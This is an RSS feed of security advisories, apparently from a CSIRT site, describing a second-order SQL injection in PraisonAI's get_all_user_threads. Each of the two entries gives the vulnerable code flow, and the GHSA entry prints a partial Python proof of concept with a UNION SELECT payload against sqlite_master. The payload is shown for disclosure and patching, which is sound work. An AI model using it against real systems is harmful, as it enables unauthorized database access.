<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 17 Oct 2026 21:19:53 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-34934 — PraisonAI: Second-Order SQL Injection in `get_all_user_threads`</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-34934</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; MervinPraison PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; MervinPraison PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-34934</guid>
    </item>
    <item>
      <title>GHSA-9cq8-3v94-434g — PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-9cq8-3v94-434g</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;**File Path:**  
`src/praisonai/praisonai/ui/sql_alchemy.py`&lt;/p&gt;
&lt;p&gt;**Flow:**
- **Source (Line 539):**
```python
await data_layer.update_thread(thread_id=payload, user_id=user)
```&lt;/p&gt;
&lt;p&gt;- **Hop (Line 547):**
```python
thread_ids = &amp;#34;(&amp;#39;&amp;#34; + &amp;#34;&amp;#39;,&amp;#39;&amp;#34;.join([t[&amp;#34;thread_id&amp;#34;] for t in user_threads]) + &amp;#34;&amp;#39;)&amp;#34;
```&lt;/p&gt;
&lt;p&gt;- **Sink (Line 576):**
```sql
WHERE s.&amp;#34;threadId&amp;#34; IN {thread_ids}
```&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;## Proof of Concept (PoC)&lt;/p&gt;
&lt;p&gt;```python&lt;/p&gt;
&lt;p&gt;import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer&lt;/p&gt;
&lt;p&gt;async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo=&amp;#34;sqlite+aiosqlite:///app.db&amp;#34;)&lt;/p&gt;
&lt;p&gt;# Insert a valid thread
    await data_layer.update_thread(
        thread_id=&amp;#34;valid_thread&amp;#34;, 
        user_id=&amp;#34;attacker&amp;#34;
    )&lt;/p&gt;
&lt;p&gt;# Inject malicious payload
    payload = &amp;#34;x&amp;#39;) UNION SELECT name, null, null, &amp;#39;valid_thread&amp;#39;, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--&amp;#34;&lt;/p&gt;
&lt;p&gt;await data_layer.update_thread(
        thread_id=payload, 
        user_id=&amp;#34;attacker&amp;#34;
    )&lt;/p&gt;
&lt;p&gt;# Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id=&amp;#34;attacker&amp;#34;)&lt;/p&gt;
&lt;p&gt;for thread in result:…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;## Details&lt;/p&gt;
&lt;p&gt;**File Path:**  
`src/praisonai/praisonai/ui/sql_alchemy.py`&lt;/p&gt;
&lt;p&gt;**Flow:**
- **Source (Line 539):**
```python
await data_layer.update_thread(thread_id=payload, user_id=user)
```&lt;/p&gt;
&lt;p&gt;- **Hop (Line 547):**
```python
thread_ids = &amp;#34;(&amp;#39;&amp;#34; + &amp;#34;&amp;#39;,&amp;#39;&amp;#34;.join([t[&amp;#34;thread_id&amp;#34;] for t in user_threads]) + &amp;#34;&amp;#39;)&amp;#34;
```&lt;/p&gt;
&lt;p&gt;- **Sink (Line 576):**
```sql
WHERE s.&amp;#34;threadId&amp;#34; IN {thread_ids}
```&lt;/p&gt;
&lt;p&gt;---&lt;/p&gt;
&lt;p&gt;## Proof of Concept (PoC)&lt;/p&gt;
&lt;p&gt;```python&lt;/p&gt;
&lt;p&gt;import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer&lt;/p&gt;
&lt;p&gt;async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo=&amp;#34;sqlite+aiosqlite:///app.db&amp;#34;)&lt;/p&gt;
&lt;p&gt;# Insert a valid thread
    await data_layer.update_thread(
        thread_id=&amp;#34;valid_thread&amp;#34;, 
        user_id=&amp;#34;attacker&amp;#34;
    )&lt;/p&gt;
&lt;p&gt;# Inject malicious payload
    payload = &amp;#34;x&amp;#39;) UNION SELECT name, null, null, &amp;#39;valid_thread&amp;#39;, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--&amp;#34;&lt;/p&gt;
&lt;p&gt;await data_layer.update_thread(
        thread_id=payload, 
        user_id=&amp;#34;attacker&amp;#34;
    )&lt;/p&gt;
&lt;p&gt;# Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id=&amp;#34;attacker&amp;#34;)&lt;/p&gt;
&lt;p&gt;for thread in result:…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-9cq8-3v94-434g</guid>
    </item>
  </channel>
</rss>
